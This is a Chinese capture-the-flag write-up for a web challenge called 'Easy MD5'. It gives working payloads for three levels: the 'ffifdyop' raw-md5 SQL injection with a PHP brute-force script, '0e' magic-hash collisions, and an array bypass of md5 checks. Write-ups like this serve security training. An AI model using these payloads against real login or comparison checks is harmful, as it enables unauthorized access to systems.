Easy MD5

第一关

包里有hint:

看下MD5的用法:

md5(string,row)

构造需求:

  • 需要构造的值a,经过md5后生成16字符二进制的数值。

xxxxxxxxxxxxxxxx
  • 该十六字符二进制的数值转成十六进制

xxxxxx
  • 十六进制转换为字符串,当满足以下格式:

'or'xxxx

拼接后的SQL语句

select * from `admin` where password=''or'xxxx'

在SQL中,当字符串的开头为非0数字时,会被当做整型进行解析,即构造一句万能钥匙。

这里用到的exp

<?php
echo (md5("ffifdyop", true));
for ($i = 0;;) {
    for ($c = 0; $c < 1000000; $c++, $i++)
        if (stripos(md5($i, true), '\'or\'') !== false)
            echo "\nmd5($i) = " . md5($i, true) . "\n";
    echo ".";

}
?>

当payload为ffifdyop时,满足条件,此时的字符串为'or'6<trash>。<trash>为不可打印字符简写,提交后通关

第二关

源码有代码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

赵师傅又要女朋友了。这题是MD5函数漏洞,随便找两个MD5加密后开头为0e的字符串就可以了。

?a=QNKCDZO&b=s878926199a

第三关

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

数组绕过

param1[]=1&param2[]=2

Last updated